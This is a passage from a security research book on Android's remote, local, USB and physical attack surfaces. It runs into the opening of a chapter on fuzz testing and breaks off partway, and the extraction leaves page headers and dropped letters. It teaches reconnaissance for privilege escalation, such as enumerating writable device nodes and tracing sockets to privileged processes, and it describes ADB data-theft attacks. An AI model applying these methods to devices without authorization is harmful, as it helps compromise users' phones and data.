Chapter 5 ■ Understanding Android’s Attack Surface 159 c05.indd 01:17:1:PM 02/24/2014 Page 159 that manage the hardware the radio and handle much of the low-level proto- cols. In user-space wpa_supplicant implements authentication protocols and the Android operating system manages memorized connections. Like Bluetooth these components are exposed to untrusted data and thus represent an exposed attack surface that’s interesting to explore further. In addition to connecting to Wi-Fi access points APs most Android devices are capable of assuming the AP role too. In doing so the device increases its attack surface signif cantly . Additional user-space code more specif cally hostapd and a DNS server is spun up and exposed to the network. This increases the remote attack surface especially if an attacker is able to connect to the AP hosted by the Android device. Other than generic Wi-Fi attacks no successful attacks against the Wi-Fi stack of an Android device are known. Viable generic attacks include rogue hotspots and MitM attacks. NFC NFC is a wireless communications technology that builds upon Radio Frequency Identif cation RFID. Of the wireless technologies supported by Android devices NFC has the shortest range which is typically limited to less than 8 inches. There are three typical use cases for NFC on Android devices. First tags that are usually in the form of stickers are presented to the device which then reads the tag’s data and processes it. In some cases such stickers are prominently displayed in public places as part of interactive advertising posters. Second two users touch their Android devices together to beam data such as a photo. Finally NFC is routinely used for contactless payments. The Android implementation of NFC is fairly straightforward. Figure 5-6 depicts an overview of Android’s NFC stack. Kernel drivers speak to the NFC hardware. Rather than doing deep processing on received NFC data the driver passes the data to the NFC Service com.android.nfc within the Android Framework. In turn the NFC Service delivers the NFC tag data to Android apps that have registered to be the recipient of NFC messages. NFC data comes in several forms many of which are supported by Android by default. All of these supported implementations are very well documented in the Android SDK under the TagTechnology class. More information about NFC on Android is available at http://developer.android.com/guide/ topics/connectivity/nfc/index.html.

slide 192:

160 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 160 NFC Transmitter/Receiver Android Kernel libpn544_fs.so NFC Service com.android.nfc libnfc_jni.so Android App Android App Android App libnfc.so libnfc_ndef.so NFC Tag Data: Nodef MiFare etc. NFC Tag Figure 5-6: NFC on Android The most popular message format is NFC Data Exchange Format NDEF. NDEF messages can contain any data but are typically used to transmit text phone numbers contact information URLs and images. Parsing these types of messages often results in performing actions such as pairing Bluetooth devices launching the web browser dialer YouTube or Maps applications and more. In some cases these operations are performed without any user interaction which is especially attractive to an attacker. When beaming f les some devices launch the default viewer for the received f le based on its f le type. Each of these operations is an excellent example of an additional attack surface that lies beneath NFC. Several successful attacks leveraged NFC to compromise Android devices. As demonstrated by Charlie Miller NFC can be used to automatically set up connections using other wireless technologies such as Bluetooth and Wi-Fi Direct. Because of this it could be used to enable access to an attack surface that would otherwise not be available. Georg Wicherski and Joshua J. Drake dem- onstrated a successful browser attack that was launched via NFC at BlackHat USA in 2012. Also as mentioned earlier researchers from MWR Labs utilized

slide 193:

Chapter 5 ■ Understanding Android’s Attack Surface 161 c05.indd 01:17:1:PM 02/24/2014 Page 161 NFC to exploit a f le format parsing vulnerability in the Polaris Off ce document suite at the 2012 Mobile Pwn2Own. These attacks demonstrate that the attack surface exposed by NFC support on Android can def nitely lead to successful device compromises. Other Technologies Apart from wireless communications a couple of other technologies contribute to the overall attack surface of Android devices. More specif cally Quick Response QR codes and voice commands could theoretically lead to a compromise. This is especially true in the case of Google Glass—which is based on Android—and newer Android devices like the Moto X and Nexus 5. Early versions of Google Glass would process QR codes whenever a picture was taken. Lookout Mobile Security discovered that a surreptitiously placed QR code could cause Google Glass to join a malicious Wi-Fi network. From there the device could be attacked further. Additionally Google Glass makes extensive use of voice commands. An attacker sitting next to a Google Glass user can speak commands to the device to potentially cause it to visit a malicious website that compromises the device. Though it is diff cult to target the underlying implementation of these technologies the functionality provided leaves room for abuse and thus a potential compromise of the device. Local Attack Surfaces When an attacker has achieved arbitrary code execution on a device the next logical step is to escalate privileges. The ultimate goal is to achieve privileged code execution in kernel space or under the root or system user. However gain- ing even a small amount of privileges such as a supplementary group often exposes more restricted attack surfaces. In general these attack surfaces are the most obvious to examine when attempting to devise new rooting methods. As mentioned in Chapter 2 the extensive use of privilege separation means that several minor escalations might need to be combined in order to achieve the ultimate goal. This section takes a closer look at the various attack surfaces exposed to code that’s already executing on a device whether it be an Android app a shell via ADB or otherwise. The privileges required to access these attack surfaces var- ies depending on how the various endpoints are secured. In an effort to ease the pain associated with the extensive privilege separation used on Android this section introduces tools that can be used to examine OS privileges and enumerate exposed endpoints.

slide 194:

162 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 162 Exploring the File System Android’s Unix lineage means that many different attack surfaces are exposed via entries in the f le system. These entries include both kernel-space and user- space endpoints. On the kernel side device driver nodes and special virtual f le systems provide access to interact directly with kernel-space driver code. Many user-space components like privileged services expose IPC functionality via sockets in the PF_UNIX family. Further normal f le and directory entries with insuff ciently restricted permissions give way to several attack classes. By sim- ply inspecting the entries within the f le system you can f nd these endpoints exercise the attack surface below them and potentially escalate your privileges. Each f le system entry has several different properties. First and foremost each entry has a user and group that is said to own it. Next most important is the entry’s permissions. These permissions specify whether the entry can be read written or executed only by the owning user or group or by any user on the system. Also several special permissions control type-dependent behav- iors. For example an executable that is set-user-id or set-group-id executes with elevated privileges. Finally each entry has a type that tells the system how to handle manipulations to the endpoint. Types include regular f les directories character devices block devices First-In-First-Out nodes FIFOs symbolic links and sockets. It’s important to consider all of these properties when determining exactly which attack surfaces are reachable given a particular level of access. You can enumerate f le system entries easily using the opendir and stat sys- tem calls. However some directories do not allow lesser privileged users to list their contents those lacking the read bit. As such you should enumerate the f le system with root privileges. To make it easier to determine f le system entries that could be interesting Joshua J. Drake developed a tool called canhazaxs. The following excerpt shows this tool in action on a Nexus 4 running Android 4.4. rootmako:/data/local/tmp ./canhazaxs -u shell -g \ 10031004100710091011101510283001300230033006 /dev /data uid2000shell groups2000shell1003graphics1004input1007log1009mount1011 adb 1015sdcard_rw1028sdcard_r3001net_bt_admin3002net_bt3003inet 3006net_bw_stats Found 0 entries that are set-uid executable Found 1 entries that are set-gid executable directory 2750 system shell /data/misc/adb Found 62 entries that are writable ... file 0666 system system /dev/cpuctl/apps/tasks ... chardev 0666 system system /dev/genlock

slide 195:

Chapter 5 ■ Understanding Android’s Attack Surface 163 c05.indd 01:17:1:PM 02/24/2014 Page 163 ... socket 0666 root system /dev/socket/pb ... directory 0771 shell shell /data/local/tmp ... The -u and -g options passed to canhazaxs correspond to the user and groups that should be considered when determining whether the entry is readable writable or executable. After those options you can specify any number of directories to inspect. For each of these directories canhazaxs recursively enu- merates entries in all directories within. After everything is inspected entries that are accessible are shown prioritized by potential impact. For each entry canhazaxs shows the type permissions user group and path. This streamlines the process of enumerating attack surfaces exposed via the f le system. Finding the code behind each endpoint depends on the type of entry. For kernel drivers searching the kernel source code for the specif c entry’s name as discussed further in Chapter 10 is the best method. It’s diff cult to f nd exactly what code operates on any particular regular f le or directory. However inspecting the init.rc and related commands have led to the discovery of privilege escalation vulnerabilities in the past. Determining the code behind a socket endpoint can be tricky and is discussed further in the “Finding the Code Behind a Socket” section later in this chapter. When you f nd the code you can determine the functionality provided by the endpoint. The deeper attack surfaces beneath these endpoints present an opportunity to uncover previously unknown privilege escalation issues. Finding Other Local Attack Surfaces Not all local attack surfaces are exposed via entries in the f le system. Additional attack surfaces exposed by the Linux kernel include system calls socket imple- mentations and more. Many services and apps in Android expose attack surfaces locally through different types of IPC including sockets and shared memory. System Calls The Linux kernel has a rich attack surface that is exposed to local attackers. Apart from things represented by an entry in the f le system the Linux kernel also processes potentially malicious data when it executes system calls. As such system call handler functions inside the kernel represent an interesting attack surface. Finding such functions is easily accomplished by searching for the SYSCALL_DEFINE string within the kernel source code.

slide 196:

164 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 164 Sockets Software running on Android uses various types of sockets to achieve IPC. To understand the full extent of the attack surface exposed by various types of sockets you must f rst understand how sockets are created. Sockets are created using the socket system call. Although various abstractions for creating and managing sockets exist throughout Android all of them eventually use the socket system call. The following excerpt from the Linux manual page shows this system call’s function prototype: int socketint domain int type int protocol The important thing to understand is that creating a socket requires specify- ing a domain type and protocol. The domain parameter is most important as its value determines how the protocol parameter is interpreted. More detailed information about these parameters including supported values for each can be found from the Linux manual page for the socket function. Further it’s possible to determine which protocols are supported by an Android device by inspecting the /proc/net/protocols f le system entry: shellghost:/data/local/tmp ./busybox wc -l /proc/net/protocols 24 /proc/net/protocols Each of the entries in this f le represents an interesting attack surface to explore further. The source code that implements each protocol can be found within the Linux kernel source in the net subdirectory. Common Socket Domains Most Android devices make extensive use of sockets in the PF_UNIX PF_INET and PF_NETLINK domains. Sockets in the PF_INET domain are further broken down into those that use the SOCK_STREAM and SOCK_DGRAM types which use the TCP and UDP protocols. Detailed information about the status of instances of each type of socket can be obtained via entries in the /proc/net directory as depicted in Table 5-2. Table 5-2: Status Files for Common Socket Domains SOCKET DOMAIN STATUS FILE PF_UNIX /proc/net/unix PF_INET SOCK_STREAM /proc/net/tcp PF_INET SOCK_DGRAM /proc/net/udp PF_NETLINK /proc/net/netlink The f rst and most commonly used socket domain is the PF_UNIX domain. Many services expose IPC functionality via sockets in this domain which

slide 197:

Chapter 5 ■ Understanding Android’s Attack Surface 165 c05.indd 01:17:1:PM 02/24/2014 Page 165 expose endpoints in the f le system that can be secured using traditional user group and permissions. Because an entry exists in the f le system sockets of this type will appear when using the methods discussed in the “Exploring the File System” section earlier in this chapter. In addition to traditional PF_UNIX domain sockets Android implements a special type of socket called an Abstract Namespace Socket. Several core system services use sockets in this domain to expose IPC functionality. These sockets are similar to PF_UNIX sockets but do not contain an entry in the f le system. Instead they are identif ed only by a string and are usually written in the form socketName. For example the /system/bin/debuggerd program creates an abstract socket called android:debuggerd. These types of sockets are created by specifying a NUL byte as the f rst character when creating a PF_UNIX socket. The characters that follow specify the socket’s name. Because these types of sockets do not have a f le system entry they cannot be secured in the same way as traditional PF_UNIX sockets. This fact makes abstract socket endpoints an interesting target for further exploration. Any application that wants to talk to hosts on the Internet uses PF_INET sockets. On rare occasions services and apps use PF_INET sockets to facilitate IPC. As shown earlier this socket domain includes communications that use TCP and UDP protocols. To create this type of socket a process must have access to the inet Android ID AID. This is due to Android’s Paranoid Networking feature that was f rst discussed in Chapter 2. These types of sockets are especially interesting when used for IPC or to implement a service exposed to the network. The f nal common type of socket in Android is the PF_NETLINK socket. These types of sockets are usually used to communicate between kernel-space and user-space. User-space processes such as /system/bin/vold listen for events that come from the kernel and process them. As previously discussed in Chapter 3 the GingerBreak exploit relied on a vulnerability in vold’s handling of a maliciously crafted NETLINK message. Attack surfaces related to PF_NETLINK sockets are interesting because they exist in both kernel-space and privileged user-space processes. Finding the Code Behind a Socket On typical Linux systems you can match processes to sockets using the lsof command or the netstat command with the -p option. Unfortunately this doesn’t work out of the box on Android devices. That said using a properly built BusyBox binary on a rooted device is able to achieve this task: rootmako:/data/local/tmp ./busybox netstat -anp | grep /dev/socket/pb unix 2 DGRAM 5361 184/mpdecision /dev/socket/pb Using the preceding single command you are able to discover that /dev/ socket/pb is in use by process ID 184 called mpdecision.

slide 198:

166 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 166 In the event that a properly built BusyBox is not available you can achieve the same task using a simple three-step process. First you use the specif c entries within the proc f le system to reveal the process that owns the socket: rootmako:/data/local/tmp ./busybox head -1 /proc/net/unix Num RefCount Protocol Flags Type St Inode Path rootmako:/data/local/tmp grep /dev/socket/pb /proc/net/unix 00000000: 00000002 00000000 00000000 0002 01 5361 /dev/socket/pb In this example you can see the /dev/socket/pb entry inside the special /proc/net/unix f le. The number that appears immediately before the path is the inode number for the f le system entry. Using the inode you can see which process has an open f le descriptor for that socket: rootmako:/data/local/tmp ./busybox ls -l /proc/0-9/fd/ | grep 5361 ... lrwx------ 1 root root 64 Jan 2 22:03 /proc/184/fd/7 - socket:5361 Sometimes this command shows that more than one process is using the socket. Thankfully it’s usually obvious which process is the server in these cases. With the process ID in hand it’s simple to f nd more information about the process: rootmako:/data/local/tmp ps 184 USER PID PPID VSIZE RSS WCHAN PC NAME root 184 1 7208 492 ffffffff b6ea0908 S /system/bin/mpdecision Regardless of whether you use the BusyBox method or the three-step method you now know where to start looking. Sockets represent a signif cant local attack surface due to the ability to commu- nicate with privileged processes. The kernel-space code that implements various types of sockets might allow privilege escalation. Services and applications in user-space that expose socket endpoints might also allow privilege escalation. These attack surfaces represent an interesting place to look for security issues. By locating the code you can look more closely at the attack surface and begin your journey toward deeper attack surfaces within. Binder The Binder driver as well as software that relies on it presents an attack surface that is unique to Android. As previously discussed in Chapter 2 and further explored in Chapter 4 the Binder driver is the basis of Intents that are used to communicate between app-level Android components. The driver itself is implemented in kernel-space and exposes an attack surface via the /dev/binder character device. Then Dalvik applications communicate with one another through several levels of abstraction built on top. Although sending Intents

slide 199:

Chapter 5 ■ Understanding Android’s Attack Surface 167 c05.indd 01:17:1:PM 02/24/2014 Page 167 from native applications is not supported it is possible to implement a service in native code directly on top of Binder. Because of the many ways Binder can be used researching deeper attack surfaces might ultimately lead to achieving privilege escalation. Shared Memory Although Android devices do not use traditional POSIX shared memory they do contain several shared memory facilities. As with many things in Android whether a particular facility is supported varies from one device to the next. As introduced in Chapter 2 Android implements a custom shared memory mechanism called Anonymous Shared Memory or ashmem for short. You can f nd out which processes are communicating using ashmem by looking at the open f le descriptors in the /proc f le system: rootmako:/data/local/tmp ./busybox ls -ld /proc/0-9/fd/ | \ grep /dev/ashmem | ./busybox awk -F/ ‘print 3’ | ./busybox sort -u ... 176 31897 31915 596 686 856 In addition to ashmem other shared memory facilities—for example Google’s pmem Nvidia’s NvMap and ION—exist on only a subset of Android devices. Regardless of which facility is used any shared memory used for IPC represents a potentially interesting attack surface. Baseband Interface Android smartphones contain a second operating system known as the baseband. In some devices the baseband runs on an entirely separate physical central pro- cessing unit CPU. In others it runs in an isolated environment on a dedicated CPU core. In either situation the Android operating system must be able to speak to baseband in order to make and receive calls text messages mobile data and other communications that traverse the mobile network. The exposed endpoint which varies from one device to the next is considered an attack surface of the baseband itself. Accessing this endpoint usually requires elevated privileges such as to the radio user or group. It’s possible to determine exactly how the baseband is exposed by looking at the rild process. More information about Android’s Telephony stack which abstracts access to the baseband interface is presented in Chapter 11.

slide 200:

168 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 168 Attacking Hardware Support Services A majority of Android devices contain myriad peripheral devices. Examples include GPS transceivers ambient light sensors and gyroscopes. The Android Framework exposes a high-level API to access information provided by these peripherals to Android applications. These APIs represent an interesting attack surface because data passed to them might be processed by privileged services or even the peripheral itself. The exact architecture for any given peripheral varies from one device to the next. Because of the layers between the API and the peripherals the exposed API attack surface serves as an excellent example of how deeper attack surfaces lie beneath more shallow ones. A more thorough examination of this set of attack surfaces is beyond the scope of this book. Physical Attack Surfaces Attacks that require physically touching a device are said to lie within the physical attack surface. This is in contrast to physical adjacency where the attacker only needs to be within a certain range of the target. Attacking a mobile device using physical access may seem less exotic and easier than other attacks. In fact most view physical attacks as being impossible to defend against. Consequently you might feel compelled to categorize these attacks as low severity. However these attacks can have very serious implications especially if they can be executed in short periods of time or without the victim knowing. Over the past few years researchers discovered several real-world attacks that take advantage of the physical attack surface. Many of the f rst jailbreaks for iOS devices required a Universal Serial Bus USB connection to the device. Additionally forensic examiners rely heavily on the physical attack surface to either recover data or surreptitiously gain access to a phone. In early 2013 researchers published a report detailing how they discovered public phone charging stations that were launching attacks against select devices to install malware. After it was installed the malware would attempt to attack host computers when the infected mobile devices were connected to them. These are just some of the many examples of how attacks against the physical attack surface can be more serious than you might initially assume. Physical attacks aren’t as contrived as you might’ve f rst thought In order to further classify this category we consider several criteria. First we decide whether it is acceptable to dismantle the target device. Taking a device apart is not desirable because it carries a risk of causing damage. Still attacks of this nature can be powerful and should not be ruled out. Next we examine the possibilities that do not require disassembling the device. These attack vectors include any peripheral access such as USB ports and expandable storage media

slide 201:

Chapter 5 ■ Understanding Android’s Attack Surface 169 c05.indd 01:17:1:PM 02/24/2014 Page 169 usually microSD slots. The rest of this section discusses these attack vectors and the attack surfaces beneath them. Dismantling Devices Disassembling a target device enables attacks against the very hardware that powers it. Many manufacturers assume the esoteric nature of computer hard- ware and electrical engineering is enough to protect a device. Because probing the attack surface exposed by dismantling an Android device requires niche skills and/ or specialized hardware manufacturers typically do not adequately protect the hardware. It is therefore very advantageous to learn about some of the physical attack surface exposed by just opening many devices. Opening a hardware device often reveals: ■ Exposed serial ports which allow for receiving debug messages or in some cases providing shell access to the device ■ Exposed JTAG debug ports which enable debugging f ashing or access- ing the f rmware of a device In the rare event that an attacker does not f nd these common interfaces other attacks are still possible. It is a very practical and real attack is to physically remove f ash memory or the core CPU which often contains internal f ash. Once removed an attacker can easily read the boot loader boot conf guration and full f ash f le-system off of the device. These are only a handful of attacks that can be executed when an attacker has possession of a device. Fortunately for you this book does not just mention these things generally as many other books have. Instead this book demonstrates how we have employed these techniques in Chapter 13. We will not delve into these physical attacks much further in this chapter. USB USB is the standard wired interface for Android devices to interact with other devices. Although iPhones have proprietary Apple connectors most Android devices have standard micro USB ports. As the primary wired interface USB exposes several different kinds of functionality that directly relate to the ver- satility of Android devices. Much of this functionality depends on the device being in a particular mode or having certain settings enabled in the device’s conf guration. Commonly supported modes include ADB fastboot download mode mass storage media device and tethering. Not all devices support all modes. Some devices enable some modes such as mass storage or Media Transfer Protocol MTP mode by

slide 202:

170 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 170 default. Other USB modes such as fastboot and download mode depend on holding certain key combinations at boot. Further some devices have a menu that enables you select which mode to enter after the USB device is connected. Figure 5-7 shows the USB connection type menu from an HTC One V . Figure 5-7: HTC One V USB Mode Menu The exact attack surfaces exposed depends on which mode the device is in or which features are enabled. For all modes drivers in the boot loader or Linux kernel support the USB hardware. On top of those drivers additional software handles communicating using the protocols specif c to each particular type of functionality. Prior to Android 4.0 many devices use mass storage mode by default. That said some devices require enabling mass storage mode explicitly by clicking a button on the screen. Android 4.x and later removed support for mass storage mode entirely. It was clunky and required unmounting the /sdcard partition from the device while the host machine was accessing it. Instead later devices use MTP mode by default. Enumerating USB Attack Surfaces In literature a USB device is often referred to as a function. That is it is a device that provides some added functionality to the system. In reality a single USB

slide 203:

Chapter 5 ■ Understanding Android’s Attack Surface 171 c05.indd 01:17:1:PM 02/24/2014 Page 171 device could have many different functions. Each USB device has one or more conf gurations which in turn have at least one interface. An interface specif es the collection of endpoints that represent the means of communicating with a particular function. Data f ows to or from an endpoint only in one direction. If a device function requires bidirectional communications it will def ne at least two endpoints. Tools like lsusb and the libusb library enable us to further enumerate the attack surface exposed by a USB device from the host to which it is connected. The lsusb tool is capable of displaying detailed information about the interfaces and endpoints supported by a device. The following excerpt shows the interface and endpoints for ADB on an HTC One X+: dev: lsusb -v -d 0bb4:0dfc Bus 001 Device 067: ID 0bb4:0dfc High Tech Computer Corp. Device Descriptor: ... idVendor 0x0bb4 High Tech Computer Corp. idProduct 0x0dfc bcdDevice 2.32 iManufacturer 2 HTC iProduct 3 Android Phone ... bNumConfigurations 1 Configuration Descriptor: ... bNumInterfaces 3 ... Interface Descriptor: ... bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 66 bInterfaceProtocol 1 iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x83 EP 3 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data ... Endpoint Descriptor: bLength 7 bDescriptorType 5

slide 204:

172 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 172 bEndpointAddress 0x03 EP 3 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data ... You can then communicate with individual endpoints with libusb which also has bindings for several high-level languages like Python and Ruby. Android devices support multiple functions simultaneously on a single USB port. This support is called Multifunction Composite Gadget and the software behind it is called the Gadget Framework. On a device you can often f nd more information about supported USB modes from the init conf guration f les. For example the Nexus 4 has a f le called /init.mako.usb.rc that details all the possible mode combinations along with their associated vendor and product ids. The following is the entry for the default mode: on property:sys.usb.configmtp stop adbd write /sys/class/android_usb/android0/enable 0 write /sys/class/android_usb/android0/idVendor 18D1 write /sys/class/android_usb/android0/idProduct 4EE1 write /sys/class/android_usb/android0/bDeviceClass 0 write /sys/class/android_usb/android0/bDeviceSubClass 0 write /sys/class/android_usb/android0/bDeviceProtocol 0 write /sys/class/android_usb/android0/functions mtp write /sys/class/android_usb/android0/enable 1 setprop sys.usb.state sys.usb.config The preceding excerpt tells init how to react when someone sets the sys.usb.config property to mtp. In addition to stopping the ADB daemon init also reconf gures the Gadget Framework through /sys/class/android_usb. Additionally you can f nd information about how the Android Framework manages USB devices within the AOSP repository. The following excerpt shows the various modes Android supports within the frameworks/base project: dev:/android/source/frameworks/base git grep USB_FUNCTION_ core/java/android/hardware/usb/UsbManager.java:57: li link USB_FUNCTION_MASS_STORAGE boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:59: li link USB_FUNCTION_ADB boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:61: li link USB_FUNCTION_RNDIS boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:63: li link USB_FUNCTION_MTP boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:65: li link USB_FUNCTION_PTP boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:67: li link

slide 205:

Chapter 5 ■ Understanding Android’s Attack Surface 173 c05.indd 01:17:1:PM 02/24/2014 Page 173 USB_FUNCTION_PTP boolean extra indicating whether the core/java/android/hardware/usb/UsbManager.java:69: li link USB_FUNCTION_AUDIO_SOURCE boolean extra indicating whether the Digging deeper into the set of attack surfaces exposed over USB depends on the precise functionality and protocols supported by the various interfaces. Doing so is beyond the scope of this chapter but Chapter 6 takes a closer look at one such interface: Media Transfer Protocol MTP. ADB Android devices that are used for development often have USB debugging enabled. This starts the ADB daemon which allows executing commands with special privileges on an Android device. On many devices especially those run- ning versions of Android before 4.2.2 no authentication is required to access the ADB shell. Further the T-Mobile HTC One with software version 1.27 .531.11 exposed ADB with no authentication by default and did not allow disabling it. As you can imagine this kind of access to a device makes some very interesting attacks easy to accomplish. Researchers such as Kyle Osborn Robert Rowley and Michael Müller dem- onstrated several different attacks that leveraged ADB access to a device. Robert Rowley presented about “Juice Jacking” attacks at several conferences. In these attacks an attacker creates a charging station that can surreptitiously down- load a victim’s data or potentially install malicious software on their device. Although Rowley’s kiosk only educated the public about these threats a mali- cious actor may not be so kind. Kyle Osborn and later Michael Müller created tools to download a victim’s data using ADB. Kyle Osborn’s tool was specif cally designed to run on the attacker’s Android device to enable what’s known as a “physical drive-by” attack. In this attack the attacker connects her device to the victim’s device when the victim leaves it unattended. Stealing the most sensitive data on a device takes only a few moments and makes this attack surprisingly effective. Thankfully later versions of Android added authentication by default for ADB. This effectively mitigates these types of attacks but does not eliminate the ADB attack surface entirely. Other Physical Attack Surfaces Although USB is the most ubiquitous physical attack surface exposed on Android devices it is not the only one. Other physical attack surfaces include SIM Cards for smartphones SD Cards for devices that support expandable storage HDMI for devices with such ports exposed test points docking connectors and so on. Android contains support for all of these interfaces by way of various types of software range from kernel drivers to Android Framework APIs. Exploring

slide 206:

174 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 174 the attack surfaces beneath these interfaces is beyond the scope of this chapter and is left as an exercise to the interested reader. Third-Party Modifi cations As discussed in Chapter 1 several parties involved in creating Android devices modify various parts of the system. In particular OEMs tend to make exten- sive changes as part of their integration process. The changes made by OEMs are not limited to any one area but instead tend to be sprinkled throughout. For example many OEMs bundle particular applications in their builds such as productivity tools. Many even implement features of their own inside the Android Framework which are then used elsewhere in the system. All of these third-party modif cations can and often do increase the attack surface of a given device. Determining the full extent and nature of these changes is a diff cult and mostly manual process. The general process involves comparing a live device against a Nexus device. As previously mentioned in Chapter 2 most devices host many running processes that do not exist in vanilla Android. Comparing output from the ps command and f le system contents between the two devices will show many of the differences. The init conf guration f les are also useful here. Examining changes to the Android Framework itself will require specialized tools for dealing with Dalvik code. When differences are located discovering the additional attack surface that such software introduces is quite an undertaking usually requiring many hours of reverse engineering and analysis. Summary This chapter explored all of the various ways that Android devices can be attacked. It discussed how the different properties of applicable attack vectors and attack surfaces help prioritize research efforts. By breaking Android’s attack surfaces into four high-level categories based on access complexities this chapter drilled deeper into the underlying attack surfaces. It covered how different types of adjacency can inf uence what kinds of attacks are possible. This chapter also discussed known attacks and introduced tools and techniques that you can use to explore Android’s attack surface further. In particular you learned how to identify exposed endpoints such as network services local IPC facilities and USB interfaces on an Android device. Because of the sheer size of the Android code base it is impossible to exhaus- tively examine Android’s entire attack surface in this chapter. As such we

slide 207:

Chapter 5 ■ Understanding Android’s Attack Surface 175 c05.indd 01:17:1:PM 02/24/2014 Page 175 encourage you to apply and extend the methods presented in this chapter to explore further. The next chapter expands upon the concepts in this chapter by further explor- ing several specif c attack surfaces. It shows how you can f nd vulnerabilities by applying a testing methodology known as fuzzing.

slide 209:

177 c06.indd 01:19:0:PM 02/24/2014 Page 177 Fuzz testing or fuzzing for short is a method for testing software input validation by feeding it intentionally malformed input. This chapter discusses fuzzing in great detail. It introduces you to the origins of fuzzing and explains the nuances of various associated tasks. This includes target identif cation crafting inputs system automation and monitoring results. The chapter introduces you to the particulars of fuzzing on Android devices. Finally it walks you through three fuzzers tested during the writing of this book each with their own approaches challenges and considerations. These serve as examples of just how easy it is to f nd bugs and security vulnerabilities with fuzzing. After reading this chapter you will understand fuzzing well enough to apply the technique to uncover security issues lurking in the Android operating system. Fuzzing Background Fuzz testing has a long history and has been proven effective for f nding bugs. It was originally developed by Professor Barton Miller at the University of Wisconsin—Madison in 1988. It started as a class project to test various UNIX system utilities for faults. However in the modern information security f eld it serves as a way for security professionals and developers to audit the input validation of software. In fact several prominent security researchers have CHAPTER 6 Finding Vulnerabilities with Fuzz Testing

slide 210:

178 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 178 written books entirely focused on the subject. This simple technique has led to the discovery of numerous bugs in the past many of which are security bugs. The basic premise of fuzz testing is that you use automation to exercise as many code paths as is feasible. Processing a large number of varied inputs causes branch conditions to be evaluated. Each decision might lead to executing code that contains an error or invalid assumption. Reaching more paths means a higher likelihood to discover bugs. There are many reasons why fuzzing is popular in the security research com- munity. Perhaps the most attractive property of fuzz testing is its automated nature. Researchers can develop a fuzzer and keep it running while they go about various other tasks such as auditing or reverse engineering. Further developing a simple fuzzer requires minimal time investment especially when compared with manual binary or source code review. Several fuzzing frameworks exist that further reduce the amount of effort needed to get started. Also fuzzing f nds bugs that are overlooked during manual review. All of these reasons indicate that fuzzing will remain useful for the long term. Despite its advantages fuzz testing is not without drawbacks. Most notably fuzzing only f nds defects bugs. Classifying an issue as a security issue requires further analysis on the part of the researcher and is covered further in Chapter 7. Beyond classif cation fuzzing also has limitations. Consider fuzzing a 16-byte input which is tiny in comparison to most common f le formats. Because each byte can have 255 possible values the entire input set consists of 319626579315 078487 616775634918212890625 possible values. Testing this enormous set of possible inputs is completely infeasible with modern technology. Finally some issues might escape detection despite vulnerable code being executed. One such example is memory corruption that occurs inside an unimportant buffer. Despite these drawbacks fuzzing remains tremendously useful. Compared to the larger information security community fuzzing has received relatively little attention within the Android ecosystem. Although several people have openly discussed interest in fuzzing on Android very few have talked openly about their efforts. Only a handful of researchers have publicly presented on the topic. Even in those presentations the fuzzing was usually focused only on a single limited attack surface. Further none of the fuzzing frameworks that exist at the time of this writing address Android directly. In the grand scheme of things the vast attack surface exposed on Android devices seems to have been barely fuzzed at all. In order to successfully fuzz a target application four tasks must be accomplished: ■ Identifying a target ■ Generating inputs ■ Test-case delivery ■ Crash monitoring

slide 211:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 179 c06.indd 01:19:0:PM 02/24/2014 Page 179 The f rst task is identifying a target. The remaining three tasks are highly dependent on the f rst. After a target has been selected you can accomplish input generation in a variety of ways be it mutating valid inputs or producing inputs in their entirety. Then the crafted inputs must be delivered to the target software depending on the chosen attack vector and attack surface. Finally crash monitoring is instrumental for identifying when incorrect behavior mani- fests. We discuss these four tasks in further detail in the following sections: “Identifying a Target” “Crafting Malformed Inputs” “Processing Inputs” and “Monitoring Results.” Identifying a Target Selecting a target is the f rst step to crafting an effective fuzzer. Although a random choice often suff ces when pressed for time careful selection involves taking into account many different considerations. A few techniques that inf u- ence target selection include analyzing program complexity ease of implementa- tion prior researcher experience attack vectors and attack surfaces. A familiar complex program with an easy-to-reach attack surface is the ideal target for fuzzing. However expending extra effort to exercise attack surfaces that are more diff cult to reach may f nd bugs that would be otherwise missed. The level of effort invested into selecting a target is ultimately up to the researcher but at a minimum attack vectors and attack surface should be considered. Because Android’s attack surface is very large as discussed in Chapter 5 there are many potential targets that fuzzing can be used to test. Crafting Malformed Inputs Generating inputs is the part of the fuzzing process that has the most variations. Recall that exploring the entire input set even for only 16 bytes is infeasible. Researchers use several different types of fuzzing to f nd bugs in such a vast input space. Classifying a fuzzer primarily comes down to examining the methods used to generate inputs. Each type of fuzzing has its own pros and cons and tends to yield different results. In addition to the types of fuzzing there are two distinct approaches to generating input. The most popular type of fuzzing is called dumb-fuzzing. In this type of fuzz- ing inputs are generated without concern for the semantic contents of the input. This offers quick development time because it does not require a deep understanding of the input data. However this also means that analyzing a discovered bug requires more effort to understand the root cause. Essentially much of the research costs are simply delayed until after potential security issues are found. When generating inputs for dumb-fuzzing security researchers apply various mutation techniques to existing valid inputs. The most common mutation involves changing random bytes in the input data to random values.

slide 212:

